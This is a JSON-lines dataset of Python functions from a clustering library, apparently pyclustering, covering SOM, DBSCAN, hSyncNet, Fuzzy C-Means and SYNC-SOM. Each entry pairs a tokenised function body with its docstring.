{"signature": "def __init__(self, data, amount_clusters, epouch = <NUM_LIT:100>, ccore = True):", "body": "self.__data_pointer = data;<EOL>self.__amount_clusters = amount_clusters;<EOL>self.__epouch = epouch;<EOL>self.__ccore = ccore;<EOL>self.__network = None<EOL>", "docstring": "!\n        @brief Creates SOM-SC (Self Organized Map for Simple Clustering) algorithm for clustering analysis.\n\n        @param[in] data (list): List of points that are used for processing.\n        @param[in] amount_clusters (uint): Amount of clusters that should be allocated.\n        @param[in] epouch (uint): Number of epochs for training of SOM.\n        @param[in] ccore (bool): If it is True then CCORE implementation will be used for clustering analysis.", "id": "f15548:c0:m0"}
{"signature": "def process(self):", "body": "self.__network = som(<NUM_LIT:1>, self.__amount_clusters, type_conn.grid_four, None, self.__ccore);<EOL>self.__network.train(self.__data_pointer, self.__epouch, True)<EOL>", "docstring": "!\n        @brief Performs cluster analysis by competition between neurons of SOM.\n\n        @remark Results of clustering can be obtained using corresponding get methods.\n\n        @see get_clusters()", "id": "f15548:c0:m1"}
{"signature": "def get_clusters(self):", "body": "return self.__network.capture_objects<EOL>", "docstring": "!\n        @brief Returns list of allocated clusters, each cluster contains indexes of objects in list of data.\n\n        @see process()", "id": "f15548:c0:m2"}
{"signature": "def get_cluster_encoding(self):", "body": "return type_encoding.CLUSTER_INDEX_LIST_SEPARATION<EOL>", "docstring": "!\n        @brief Returns clustering result representation type that indicate how clusters are encoded.\n\n        @return (type_encoding) Clustering result representation.\n\n        @see get_clusters()", "id": "f15548:c0:m3"}
{"signature": "def __init__(self, data, eps, neighbors, ccore = True, **kwargs):", "body": "self.__pointer_data = data<EOL>self.__kdtree = None<EOL>self.__eps = eps<EOL>self.__sqrt_eps = eps * eps<EOL>self.__neighbors = neighbors<EOL>self.__visited = [False] * len(self.__pointer_data)<EOL>self.__belong = [False] * len(self.__pointer_data)<EOL>self.__data_type = kwargs.get('<STR_LIT>', '<STR_LIT>')<EOL>self.__clusters = []<EOL>self.__noise = []<EOL>self.__neighbor_searcher = self.__create_neighbor_searcher(self.__data_type)<EOL>self.__ccore = ccore<EOL>if self.__ccore:<EOL><INDENT>self.__ccore = ccore_library.workable()<EOL><DEDENT>", "docstring": "!\n        @brief Constructor of clustering algorithm DBSCAN.\n\n        @param[in] data (list): Input data that is presented as list of points (objects), each point should be represented by list or tuple.\n        @param[in] eps (double): Connectivity radius between points, points may be connected if distance between them less then the radius.\n        @param[in] neighbors (uint): minimum number of shared neighbors that is required for establish links between points.\n        @param[in] ccore (bool): if True than DLL CCORE (C++ solution) will be used for solving the problem.\n        @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'data_type').\n\n        <b>Keyword Args:</b><br>\n            - data_type (string): Data type of input sample 'data' that is processed by the algorithm ('points', 'distance_matrix').", "id": "f15549:c0:m0"}
{"signature": "def process(self):", "body": "if self.__ccore is True:<EOL><INDENT>(self.__clusters, self.__noise) = wrapper.dbscan(self.__pointer_data, self.__eps, self.__neighbors, self.__data_type)<EOL><DEDENT>else:<EOL><INDENT>if self.__data_type == '<STR_LIT>':<EOL><INDENT>self.__kdtree = kdtree(self.__pointer_data, range(len(self.__pointer_data)))<EOL><DEDENT>for i in range(<NUM_LIT:0>, len(self.__pointer_data)):<EOL><INDENT>if self.__visited[i] is False:<EOL><INDENT>cluster = self.__expand_cluster(i)<EOL>if cluster is not None:<EOL><INDENT>self.__clusters.append(cluster)<EOL><DEDENT><DEDENT><DEDENT>for i in range(<NUM_LIT:0>, len(self.__pointer_data)):<EOL><INDENT>if self.__belong[i] is False:<EOL><INDENT>self.__noise.append(i)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "!\n        @brief Performs cluster analysis in line with rules of DBSCAN algorithm.\n\n        @see get_clusters()\n        @see get_noise()", "id": "f15549:c0:m1"}
{"signature": "def get_clusters(self):", "body": "return self.__clusters<EOL>", "docstring": "!\n        @brief Returns allocated clusters.\n\n        @remark Allocated clusters can be returned only after data processing (use method process()). Otherwise empty list is returned.\n\n        @return (list) List of allocated clusters, each cluster contains indexes of objects in list of data.\n\n        @see process()\n        @see get_noise()", "id": "f15549:c0:m2"}
{"signature": "def get_noise(self):", "body": "return self.__noise<EOL>", "docstring": "!\n        @brief Returns allocated noise.\n\n        @remark Allocated noise can be returned only after data processing (use method process() before). Otherwise empty list is returned.\n\n        @return (list) List of indexes that are marked as a noise.\n\n        @see process()\n        @see get_clusters()", "id": "f15549:c0:m3"}
{"signature": "def get_cluster_encoding(self):", "body": "return type_encoding.CLUSTER_INDEX_LIST_SEPARATION<EOL>", "docstring": "!\n        @brief Returns clustering result representation type that indicate how clusters are encoded.\n\n        @return (type_encoding) Clustering result representation.\n\n        @see get_clusters()", "id": "f15549:c0:m4"}
{"signature": "def __create_neighbor_searcher(self, data_type):", "body": "if data_type == '<STR_LIT>':<EOL><INDENT>return self.__neighbor_indexes_points<EOL><DEDENT>elif data_type == '<STR_LIT>':<EOL><INDENT>return self.__neighbor_indexes_distance_matrix<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % data_type)<EOL><DEDENT>", "docstring": "!\n        @brief Returns neighbor searcher in line with data type.\n\n        @param[in] data_type (string): Data type (points or distance matrix).", "id": "f15549:c0:m5"}
{"signature": "def __expand_cluster(self, index_point):", "body": "cluster = None<EOL>self.__visited[index_point] = True<EOL>neighbors = self.__neighbor_searcher(index_point)<EOL>if len(neighbors) >= self.__neighbors:<EOL><INDENT>cluster = [index_point]<EOL>self.__belong[index_point] = True<EOL>for i in neighbors:<EOL><INDENT>if self.__visited[i] is False:<EOL><INDENT>self.__visited[i] = True<EOL>next_neighbors = self.__neighbor_searcher(i)<EOL>if len(next_neighbors) >= self.__neighbors:<EOL><INDENT>neighbors += [k for k in next_neighbors if ( (k in neighbors) == False) and k != index_point]<EOL><DEDENT><DEDENT>if self.__belong[i] is False:<EOL><INDENT>cluster.append(i)<EOL>self.__belong[i] = True<EOL><DEDENT><DEDENT><DEDENT>return cluster<EOL>", "docstring": "!\n        @brief Expands cluster from specified point in the input data space.\n\n        @param[in] index_point (list): Index of a point from the data.\n\n        @return (list) Return tuple of list of indexes that belong to the same cluster and list of points that are marked as noise: (cluster, noise), or None if nothing has been expanded.", "id": "f15549:c0:m6"}
{"signature": "def __neighbor_indexes_points(self, index_point):", "body": "kdnodes = self.__kdtree.find_nearest_dist_nodes(self.__pointer_data[index_point], self.__eps)<EOL>return [node_tuple[<NUM_LIT:1>].payload for node_tuple in kdnodes if node_tuple[<NUM_LIT:1>].payload != index_point]<EOL>", "docstring": "!\n        @brief Return neighbors of the specified object in case of sequence of points.\n\n        @param[in] index_point (uint): Index point whose neighbors are should be found.\n\n        @return (list) List of indexes of neighbors in line the connectivity radius.", "id": "f15549:c0:m7"}
{"signature": "def __neighbor_indexes_distance_matrix(self, index_point):", "body": "distances = self.__pointer_data[index_point]<EOL>return [index_neighbor for index_neighbor in range(len(distances))<EOL>if ((distances[index_neighbor] <= self.__eps) and (index_neighbor != index_point))]<EOL>", "docstring": "!\n        @brief Return neighbors of the specified object in case of distance matrix.\n\n        @param[in] index_point (uint): Index point whose neighbors are should be found.\n\n        @return (list) List of indexes of neighbors in line the connectivity radius.", "id": "f15549:c0:m8"}
{"signature": "def __init__(self, source_data, number_clusters, osc_initial_phases = initial_type.RANDOM_GAUSSIAN, initial_neighbors = <NUM_LIT:3>, increase_persent = <NUM_LIT>, ccore = True):", "body": "self.__ccore_network_pointer = None;<EOL>if (initial_neighbors >= len(source_data)):<EOL><INDENT>initial_neighbors = len(source_data) - <NUM_LIT:1>;<EOL><DEDENT>if ( (ccore is True) and ccore_library.workable() ):<EOL><INDENT>self.__ccore_network_pointer = wrapper.hsyncnet_create_network(source_data, number_clusters, osc_initial_phases, initial_neighbors, increase_persent);<EOL><DEDENT>else: <EOL><INDENT>super().__init__(source_data, <NUM_LIT:0>, initial_phases = osc_initial_phases, ccore=False);<EOL>self.__initial_neighbors = initial_neighbors;<EOL>self.__increase_persent = increase_persent;<EOL>self._number_clusters = number_clusters;<EOL><DEDENT>", "docstring": "!\n        @brief Costructor of the oscillatory network hSyncNet for cluster analysis.\n\n        @param[in] source_data (list): Input data set defines structure of the network.\n        @param[in] number_clusters (uint): Number of clusters that should be allocated.\n        @param[in] osc_initial_phases (initial_type): Type of initialization of initial values of phases of oscillators.\n        @param[in] initial_neighbors (uint): Defines initial radius connectivity by calculation average distance to connect specify number of oscillators.\n        @param[in] increase_persent (double): Percent of increasing of radius connectivity on each step (input values in range (0.0; 1.0) correspond to (0%; 100%)).\n        @param[in] ccore (bool): If True than DLL CCORE (C++ solution) will be used for solving.", "id": "f15550:c0:m0"}
{"signature": "def __del__(self):", "body": "if (self.__ccore_network_pointer is not None):<EOL><INDENT>wrapper.hsyncnet_destroy_network(self.__ccore_network_pointer);<EOL>self.__ccore_network_pointer = None;<EOL><DEDENT>", "docstring": "!\n        @brief Destructor of oscillatory network HSyncNet.", "id": "f15550:c0:m1"}
{"signature": "def process(self, order = <NUM_LIT>, solution = solve_type.FAST, collect_dynamic = False):", "body": "if (self.__ccore_network_pointer is not None):<EOL><INDENT>analyser = wrapper.hsyncnet_process(self.__ccore_network_pointer, order, solution, collect_dynamic);<EOL>return syncnet_analyser(None, None, analyser);<EOL><DEDENT>number_neighbors = self.__initial_neighbors;<EOL>current_number_clusters = float('<STR_LIT>');<EOL>dyn_phase = [];<EOL>dyn_time = [];<EOL>radius = average_neighbor_distance(self._osc_loc, number_neighbors);<EOL>increase_step = int(len(self._osc_loc) * self.__increase_persent);<EOL>if (increase_step < <NUM_LIT:1>):<EOL><INDENT>increase_step = <NUM_LIT:1>;<EOL><DEDENT>analyser = None;<EOL>while(current_number_clusters > self._number_clusters):<EOL><INDENT>self._create_connections(radius);<EOL>analyser = self.simulate_dynamic(order, solution, collect_dynamic);<EOL>if (collect_dynamic == True):<EOL><INDENT>if (len(dyn_phase) == <NUM_LIT:0>):<EOL><INDENT>self.__store_dynamic(dyn_phase, dyn_time, analyser, True);<EOL><DEDENT>self.__store_dynamic(dyn_phase, dyn_time, analyser, False);<EOL><DEDENT>clusters = analyser.allocate_sync_ensembles(<NUM_LIT>);<EOL>current_number_clusters = len(clusters);<EOL>number_neighbors += increase_step;<EOL>radius = self.__calculate_radius(number_neighbors, radius);<EOL><DEDENT>if (collect_dynamic != True):<EOL><INDENT>self.__store_dynamic(dyn_phase, dyn_time, analyser, False);<EOL><DEDENT>return syncnet_analyser(dyn_phase, dyn_time, None)<EOL>", "docstring": "!\n        @brief Performs clustering of input data set in line with input parameters.\n\n        @param[in] order (double): Level of local synchronization between oscillator that defines end of synchronization process, range [0..1].\n        @param[in] solution (solve_type) Type of solving differential equation.\n        @param[in] collect_dynamic (bool): If True - returns whole history of process synchronization otherwise - only final state (when process of clustering is over).\n\n        @return (tuple) Returns dynamic of the network as tuple of lists on each iteration (time, oscillator_phases) that depends on collect_dynamic parameter. \n\n        @see get_clusters()", "id": "f15550:c0:m2"}
{"signature": "def __calculate_radius(self, number_neighbors, radius):", "body": "if (number_neighbors >= len(self._osc_loc)):<EOL><INDENT>return radius * self.__increase_persent + radius;<EOL><DEDENT>return average_neighbor_distance(self._osc_loc, number_neighbors)<EOL>", "docstring": "!\n        @brief Calculate new connectivity radius.\n\n        @param[in] number_neighbors (uint): Average amount of neighbors that should be connected by new radius.\n        @param[in] radius (double): Current connectivity radius.\n\n        @return New connectivity radius.", "id": "f15550:c0:m3"}
{"signature": "def __store_dynamic(self, dyn_phase, dyn_time, analyser, begin_state):", "body": "if (begin_state is True):<EOL><INDENT>dyn_time.append(<NUM_LIT:0>);<EOL>dyn_phase.append(analyser.output[<NUM_LIT:0>]);<EOL><DEDENT>else:<EOL><INDENT>dyn_phase.append(analyser.output[len(analyser.output) - <NUM_LIT:1>]);<EOL>dyn_time.append(len(dyn_time));<EOL><DEDENT>", "docstring": "!\n        @brief Store specified state of Sync network to hSync.\n\n        @param[in] dyn_phase (list): Output dynamic of hSync where state should be stored.\n        @param[in] dyn_time (list): Time points that correspond to output dynamic where new time point should be stored.\n        @param[in] analyser (syncnet_analyser): Sync analyser where Sync states are stored.\n        @param[in] begin_state (bool): If True the first state of Sync network is stored, otherwise the last state is stored.", "id": "f15550:c0:m4"}
{"signature": "def __init__(self, data, initial_centers, **kwargs):", "body": "self.__data = data<EOL>self.__clusters = []<EOL>self.__centers = initial_centers<EOL>self.__membership = []<EOL>self.__tolerance = kwargs.get('<STR_LIT>', <NUM_LIT>)<EOL>self.__itermax = kwargs.get('<STR_LIT>', <NUM_LIT:200>)<EOL>self.__m = kwargs.get('<STR_LIT:m>', <NUM_LIT:2>)<EOL>self.__degree = <NUM_LIT> / (self.__m - <NUM_LIT:1>)<EOL>self.__ccore = kwargs.get('<STR_LIT>', True)<EOL>if self.__ccore is True:<EOL><INDENT>self.__ccore = ccore_library.workable()<EOL><DEDENT>", "docstring": "!\n        @brief Initialize Fuzzy C-Means algorithm.\n\n        @param[in] data (array_like): Input data that is presented as array of points (objects), each point should be represented by array_like data structure.\n        @param[in] initial_centers (array_like): Initial coordinates of centers of clusters that are represented by array_like data structure: [center1, center2, ...].\n        @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'tolerance', 'itermax', 'm').\n\n        <b>Keyword Args:</b><br>\n            - ccore (bool): Defines should be CCORE library (C++ pyclustering library) used instead of Python code or not.\n            - tolerance (float): Stop condition: if maximum value of change of centers of clusters is less than tolerance then algorithm stops processing.\n            - itermax (uint): Maximum number of iterations that is used for clustering process (by default: 200).\n            - m (float): Hyper-parameter that controls how fuzzy the cluster will be. The higher it is, the fuzzier the cluster will be in the end.\n               This parameter should be greater than 1 (by default: 2).", "id": "f15551:c0:m0"}
{"signature": "def process(self):", "body": "if self.__ccore is True:<EOL><INDENT>self.__process_by_ccore()<EOL><DEDENT>else:<EOL><INDENT>self.__process_by_python()<EOL><DEDENT>return self<EOL>", "docstring": "!\n        @brief Performs cluster analysis in line with Fuzzy C-Means algorithm.\n\n        @see get_clusters()\n        @see get_centers()\n        @see get_membership()", "id": "f15551:c0:m1"}
{"signature": "def get_clusters(self):", "body": "return self.__clusters<EOL>", "docstring": "!\n        @brief Returns allocated clusters that consists of points that most likely (in line with membership) belong to\n                these clusters.\n\n        @remark Allocated clusters can be returned only after data processing (use method process()). Otherwise empty list is returned.\n\n        @return (list) List of allocated clusters, each cluster contains indexes from input data.\n\n        @see process()\n        @see get_centers()\n        @see get_membership()", "id": "f15551:c0:m2"}
{"signature": "def get_centers(self):", "body": "return self.__centers<EOL>", "docstring": "!\n        @brief Returns list of centers of allocated clusters.\n\n        @return (array_like) Cluster centers.\n\n        @see process()\n        @see get_clusters()\n        @see get_membership()", "id": "f15551:c0:m3"}
{"signature": "def get_membership(self):", "body": "return self.__membership<EOL>", "docstring": "!\n        @brief Returns cluster membership (probability) for each point in data.\n\n        @return (array_like) Membership for each point in format [[Px1(c1), Px1(c2), ...], [Px2(c1), Px2(c2), ...], ...],\n                 where [Px1(c1), Px1(c2), ...] membership for point x1.\n\n        @see process()\n        @see get_clusters()\n        @see get_centers()", "id": "f15551:c0:m4"}
{"signature": "def __process_by_ccore(self):", "body": "result = wrapper.fcm_algorithm(self.__data, self.__centers, self.__m, self.__tolerance, self.__itermax)<EOL>self.__clusters = result[wrapper.fcm_package_indexer.INDEX_CLUSTERS]<EOL>self.__centers = result[wrapper.fcm_package_indexer.INDEX_CENTERS]<EOL>self.__membership = result[wrapper.fcm_package_indexer.INDEX_MEMBERSHIP]<EOL>", "docstring": "!\n        @brief Performs cluster analysis using C/C++ implementation.", "id": "f15551:c0:m5"}
{"signature": "def __process_by_python(self):", "body": "self.__data = numpy.array(self.__data)<EOL>self.__centers = numpy.array(self.__centers)<EOL>self.__membership = numpy.zeros((len(self.__data), len(self.__centers)))<EOL>change = float('<STR_LIT>')<EOL>iteration = <NUM_LIT:0><EOL>while change > self.__tolerance and iteration < self.__itermax:<EOL><INDENT>self.__update_membership()<EOL>centers = self.__calculate_centers()<EOL>change = self.__calculate_changes(centers)<EOL>self.__centers = centers<EOL>iteration += <NUM_LIT:1><EOL><DEDENT>self.__extract_clusters()<EOL>", "docstring": "!\n        @brief Performs cluster analysis using Python implementation.", "id": "f15551:c0:m6"}
{"signature": "def __calculate_centers(self):", "body": "dimension = self.__data.shape[<NUM_LIT:1>]<EOL>centers = numpy.zeros((len(self.__centers), dimension))<EOL>for i in range(len(self.__centers)):<EOL><INDENT>centers[i] = numpy.divide(self.__membership[:, i] @ self.__data, numpy.sum(self.__membership[:, i]))<EOL><DEDENT>return centers<EOL>", "docstring": "!\n        @brief Calculate center using membership of each cluster.\n\n        @return (list) Updated clusters as list of clusters. Each cluster contains indexes of objects from data.\n\n        @return (numpy.array) Updated centers.", "id": "f15551:c0:m7"}
{"signature": "def __update_membership(self):", "body": "data_difference = numpy.zeros((len(self.__centers), len(self.__data)))<EOL>for i in range(len(self.__centers)):<EOL><INDENT>data_difference[i] = numpy.sum(numpy.square(self.__data - self.__centers[i]), axis=<NUM_LIT:1>)<EOL><DEDENT>for i in range(len(self.__data)):<EOL><INDENT>for j in range(len(self.__centers)):<EOL><INDENT>divider = sum([pow(data_difference[j][i] / data_difference[k][i], self.__degree) for k in range(len(self.__centers)) if data_difference[k][i] != <NUM_LIT:0.0>])<EOL>if divider != <NUM_LIT:0.0>:<EOL><INDENT>self.__membership[i][j] = <NUM_LIT:1.0> / divider<EOL><DEDENT>else:<EOL><INDENT>self.__membership[i][j] = <NUM_LIT:1.0><EOL><DEDENT><DEDENT><DEDENT>", "docstring": "!\n        @brief Update membership for each point in line with current cluster centers.", "id": "f15551:c0:m8"}
{"signature": "def __calculate_changes(self, updated_centers):", "body": "changes = numpy.sum(numpy.square(self.__centers - updated_centers), axis=<NUM_LIT:1>).T<EOL>return numpy.max(changes)<EOL>", "docstring": "!\n        @brief Calculate changes between centers.\n\n        @return (float) Maximum change between centers.", "id": "f15551:c0:m9"}
{"signature": "@property<EOL><INDENT>def som_layer(self):<DEDENT>", "body": "return self._som<EOL>", "docstring": "!\n        @brief The first layer of the oscillatory network - self-organized feature map.", "id": "f15552:c0:m0"}
{"signature": "@property<EOL><INDENT>def sync_layer(self):<DEDENT>", "body": "return self._sync<EOL>", "docstring": "!\n        @brief The second layer of the oscillatory network based on Kuramoto model.", "id": "f15552:c0:m1"}
{"signature": "def __init__(self, data, rows, cols, radius):", "body": "self._data = data;<EOL>self._radius = radius * radius;<EOL>self._som = som(rows, cols, conn_type = type_conn.grid_four, ccore = False);   <EOL>self._som_osc_table = list();<EOL>self._sync = None;       <EOL>self._struct = None;     <EOL>self._analyser = None<EOL>", "docstring": "!\n        @brief Constructor of the double layer oscillatory network SYNC-SOM.\n\n        @param[in] data (list): Input data that is presented as list of points (objects), each point should be represented by list or tuple.\n        @param[in] rows (uint): Rows of neurons (number of neurons in column) in the input layer (self-organized feature map).\n        @param[in] cols (uint): Columns of neurons (number of neurons in row) in the input later (self-organized feature map).\n        @param[in] radius (double): Connectivity radius between objects that defines connection between oscillators in the second layer.", "id": "f15552:c0:m2"}
{"signature": "def process(self, collect_dynamic = False, order = <NUM_LIT>):", "body": "<EOL>self._som.train(self._data, <NUM_LIT:100>);<EOL>weights = list();<EOL>self._som_osc_table.clear();        <EOL>for i in range(self._som.size):<EOL><INDENT>if (self._som.awards[i] > <NUM_LIT:0>):<EOL><INDENT>weights.append(self._som.weights[i]);<EOL>self._som_osc_table.append(i);<EOL><DEDENT><DEDENT>self._sync = self.__create_sync_layer(weights);<EOL>self._analyser = self._sync.process(order, collect_dynamic = collect_dynamic);<EOL>return (self._analyser.time, self._analyser.output)<EOL>", "docstring": "!\n        @brief Performs simulation of the oscillatory network.\n\n        @param[in] collect_dynamic (bool): If True - returns whole dynamic of oscillatory network, otherwise returns only last values of dynamics.\n        @param[in] order (double): Order of process synchronization that should be considered as end of clustering, destributed 0..1.\n\n        @return (tuple) Dynamic of oscillatory network. If argument 'collect_dynamic' = True, than return dynamic for the whole simulation time,\n                otherwise returns only last values (last step of simulation) of dynamic.\n\n        @see get_som_clusters()\n        @see get_clusters()", "id": "f15552:c0:m3"}
{"signature": "def __create_sync_layer(self, weights):", "body": "sync_layer = syncnet(weights, <NUM_LIT:0.0>, initial_phases = initial_type.RANDOM_GAUSSIAN, ccore = False);<EOL>for oscillator_index1 in range(<NUM_LIT:0>, len(sync_layer)):<EOL><INDENT>for oscillator_index2 in range(oscillator_index1 + <NUM_LIT:1>, len(sync_layer)):<EOL><INDENT>if (self.__has_object_connection(oscillator_index1, oscillator_index2)):<EOL><INDENT>sync_layer.set_connection(oscillator_index1, oscillator_index2);<EOL><DEDENT><DEDENT><DEDENT>return sync_layer<EOL>", "docstring": "!\n        @brief Creates second layer of the network.\n\n        @param[in] weights (list): List of weights of SOM neurons.\n\n        @return (syncnet) Second layer of the network.", "id": "f15552:c0:m4"}
{"signature": "def __has_object_connection(self, oscillator_index1, oscillator_index2):", "body": "som_neuron_index1 = self._som_osc_table[oscillator_index1];<EOL>som_neuron_index2 = self._som_osc_table[oscillator_index2];<EOL>for index_object1 in self._som.capture_objects[som_neuron_index1]:<EOL><INDENT>for index_object2 in self._som.capture_objects[som_neuron_index2]:<EOL><INDENT>distance = euclidean_distance_square(self._data[index_object1], self._data[index_object2]);<EOL>if (distance <= self._radius):<EOL><INDENT>return True;<EOL><DEDENT><DEDENT><DEDENT>return False<EOL>", "docstring": "!\n        @brief Searches for pair of objects that are encoded by specified neurons and that are connected in line with connectivity radius.\n\n        @param[in] oscillator_index1 (uint): Index of the first oscillator in the second layer.\n        @param[in] oscillator_index2 (uint): Index of the second oscillator in the second layer.\n\n        @return (bool) True - if there is pair of connected objects encoded by specified oscillators.", "id": "f15552:c0:m5"}
{"signature": "def get_som_clusters(self):", "body": "sync_clusters = self._analyser.allocate_clusters();<EOL>som_clusters = list();<EOL>for oscillators in sync_clusters:<EOL><INDENT>cluster = list();<EOL>for index_oscillator in oscillators:<EOL><INDENT>index_neuron = self._som_osc_table[index_oscillator];<EOL>cluster.append(index_neuron);<EOL><DEDENT>som_clusters.append(cluster);<EOL><DEDENT>return som_clusters<EOL>", "docstring": "!\n        @brief Returns clusters with SOM neurons that encode input features in line with result of synchronization in the second (Sync) layer.\n\n        @return (list) List of clusters that are represented by lists of indexes of neurons that encode input data.\n\n        @see process()\n        @see get_clusters()", "id": "f15552:c0:m6"}
{"signature": "def get_clusters(self, eps = <NUM_LIT:0.1>):", "body": "sync_clusters = self._analyser.allocate_clusters(eps)       <EOL>clusters = list()<EOL>for oscillators in sync_clusters:<EOL><INDENT>cluster = list()<EOL>for index_oscillator in oscillators:<EOL><INDENT>index_neuron = self._som_osc_table[index_oscillator]<EOL>cluster += self._som.capture_objects[index_neuron]<EOL><DEDENT>clusters.append(cluster)<EOL><DEDENT>return clusters<EOL>", "docstring": "!\n        @brief Returns clusters in line with ensembles of synchronous oscillators where each synchronous ensemble corresponds to only one cluster.\n\n        @param[in] eps (double): Maximum error for allocation of synchronous ensemble oscillators.\n\n        @return (list) List of grours (lists) of indexes of synchronous oscillators that corresponds to index of objects.\n\n        @see process()\n        @see get_som_clusters()", "id": "f15552:c0:m7"}
{"signature": "def get_cluster_encoding(self):", "body": "return type_encoding.CLUSTER_INDEX_LIST_SEPARATION<EOL>", "docstring": "!\n        @brief Returns clustering result representation type that indicate how clusters are encoded.\n\n        @return (type_encoding) Clustering result representation.\n\n        @see get_clusters()", "id": "f15552:c0:m8"}
{"signature": "def show_som_layer(self):", "body": "self._som.show_network()<EOL>", "docstring": "!\n        @brief Shows visual representation of the first (SOM) layer.", "id": "f15552:c0:m9"}
{"signature": "def show_sync_layer(self):", "body": "self._sync.show_network()<EOL>", "docstring": "!\n        @brief Shows visual representation of the second (Sync) layer.", "id": "f15552:c0:m10"}
{"signature": "def cluster_atom():", "body": "\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>template_clustering(<NUM_LIT:2>, FCPS_SAMPLES.SAMPLE_ATOM, <NUM_LIT:20>, <NUM_LIT>)<EOL>", "docstring": "Impossible to obtain parameters that satisfy us, it seems to me that compression = 0.2 is key parameter here, because results of clustering doesn't depend on number of represented points, except 0.", "id": "f15557:m17"}
{"signature": "def cluster_elongate():", "body": "start_centers = [[<NUM_LIT:1.0>, <NUM_LIT>], [<NUM_LIT>, <NUM_LIT>]]<EOL>template_clustering(start_centers, SIMPLE_SAMPLES.SAMPLE_ELONGATE)<EOL>", "docstring": "Not so applicable for this sample", "id": "f15558:m8"}
{"signature": "def cluster_lsun():", "body": "start_centers = [[<NUM_LIT:1.0>, <NUM_LIT>], [<NUM_LIT>, <NUM_LIT:0.5>], [<NUM_LIT>, <NUM_LIT>]]<EOL>template_clustering(start_centers, FCPS_SAMPLES.SAMPLE_LSUN)<EOL>", "docstring": "Not so applicable for this sample", "id": "f15558:m9"}
{"signature": "def cluster_target():", "body": "start_centers = [[<NUM_LIT>, <NUM_LIT>], [<NUM_LIT:0.0>, -<NUM_LIT>], [<NUM_LIT>, -<NUM_LIT>], [<NUM_LIT>, <NUM_LIT>], [-<NUM_LIT>, <NUM_LIT>], [-<NUM_LIT>, -<NUM_LIT>]]<EOL>template_clustering(start_centers, FCPS_SAMPLES.SAMPLE_TARGET)<EOL>", "docstring": "Not so applicable for this sample", "id": "f15558:m10"}
{"signature": "def cluster_wing_nut():", "body": "start_centers = [[-<NUM_LIT>, <NUM_LIT>], [<NUM_LIT>, <NUM_LIT>]]<EOL>template_clustering(start_centers, FCPS_SAMPLES.SAMPLE_WING_NUT)<EOL>", "docstring": "Almost good!", "id": "f15558:m12"}
{"signature": "def cluster_sample1():", "body": "start_centers = [[<NUM_LIT>, <NUM_LIT>]]<EOL>template_clustering(start_centers, SIMPLE_SAMPLES.SAMPLE_SIMPLE1, criterion = splitting_type.BAYESIAN_INFORMATION_CRITERION)<EOL>template_clustering(start_centers, SIMPLE_SAMPLES.SAMPLE_SIMPLE1, criterion = splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH)<EOL>", "docstring": "Start with wrong number of clusters.", "id": "f15574:m1"}
{"signature": "def cluster_sample2():", "body": "start_centers = [[<NUM_LIT>, <NUM_LIT>], [<NUM_LIT>, <NUM_LIT>]]<EOL>template_clustering(start_centers, SIMPLE_SAMPLES.SAMPLE_SIMPLE2, criterion = splitting_type.BAYESIAN_INFORMATION_CRITERION)<EOL>template_clustering(start_centers, SIMPLE_SAMPLES.SAMPLE_SIMPLE2, criterion = splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH)<EOL>", "docstring": "Start with wrong number of clusters.", "id": "f15574:m3"}
{"signature": "def cluster_sample3():", "body": "start_centers = [[<NUM_LIT>, <NUM_LIT:0.1>], [<NUM_LIT>, <NUM_LIT:1.0>]]<EOL>template_clustering(start_centers, SIMPLE_SAMPLES.SAMPLE_SIMPLE3, criterion = splitting_type.BAYESIAN_INFORMATION_CRITERION)<EOL>template_clustering(start_centers, SIMPLE_SAMPLES.SAMPLE_SIMPLE3, criterion = splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH)<EOL>", "docstring": "Start with wrong number of clusters.", "id": "f15574:m5"}
{"signature": "def cluster_sample5():", "body": "start_centers = [[<NUM_LIT:0.0>, <NUM_LIT:1.0>], [<NUM_LIT:0.0>, <NUM_LIT:0.0>]]<EOL>template_clustering(start_centers, SIMPLE_SAMPLES.SAMPLE_SIMPLE5, criterion = splitting_type.BAYESIAN_INFORMATION_CRITERION)<EOL>template_clustering(start_centers, SIMPLE_SAMPLES.SAMPLE_SIMPLE5, criterion = splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH)<EOL>", "docstring": "Start with wrong number of clusters.", "id": "f15574:m9"}
{"signature": "def cluster_elongate():", "body": "start_centers = [[<NUM_LIT:1.0>, <NUM_LIT>], [<NUM_LIT>, <NUM_LIT>]]<EOL>template_clustering(start_centers, SIMPLE_SAMPLES.SAMPLE_ELONGATE, criterion = splitting_type.BAYESIAN_INFORMATION_CRITERION)<EOL>template_clustering(start_centers, SIMPLE_SAMPLES.SAMPLE_ELONGATE, criterion = splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH)<EOL>", "docstring": "Not so applicable for this sample", "id": "f15574:m11"}
{"signature": "def cluster_lsun():", "body": "start_centers = [[<NUM_LIT:1.0>, <NUM_LIT>], [<NUM_LIT>, <NUM_LIT:0.5>], [<NUM_LIT>, <NUM_LIT>]]<EOL>template_clustering(start_centers, FCPS_SAMPLES.SAMPLE_LSUN, criterion = splitting_type.BAYESIAN_INFORMATION_CRITERION)<EOL>template_clustering(start_centers, FCPS_SAMPLES.SAMPLE_LSUN, criterion = splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH)<EOL>", "docstring": "Not so applicable for this sample", "id": "f15574:m12"}
{"signature": "def cluster_target():", "body": "start_centers = [[<NUM_LIT>, <NUM_LIT>], [<NUM_LIT:0.0>, -<NUM_LIT>], [<NUM_LIT>, -<NUM_LIT>], [<NUM_LIT>, <NUM_LIT>], [-<NUM_LIT>, <NUM_LIT>], [-<NUM_LIT>, -<NUM_LIT>]]<EOL>template_clustering(start_centers, FCPS_SAMPLES.SAMPLE_TARGET, criterion = splitting_type.BAYESIAN_INFORMATION_CRITERION)<EOL>template_clustering(start_centers, FCPS_SAMPLES.SAMPLE_TARGET, criterion = splitting_type.MINIMUM_NOISELESS_DESCRIPTION_LENGTH)<EOL>", "docstring": "Not so applicable for this sample", "id": "f15574:m13"}
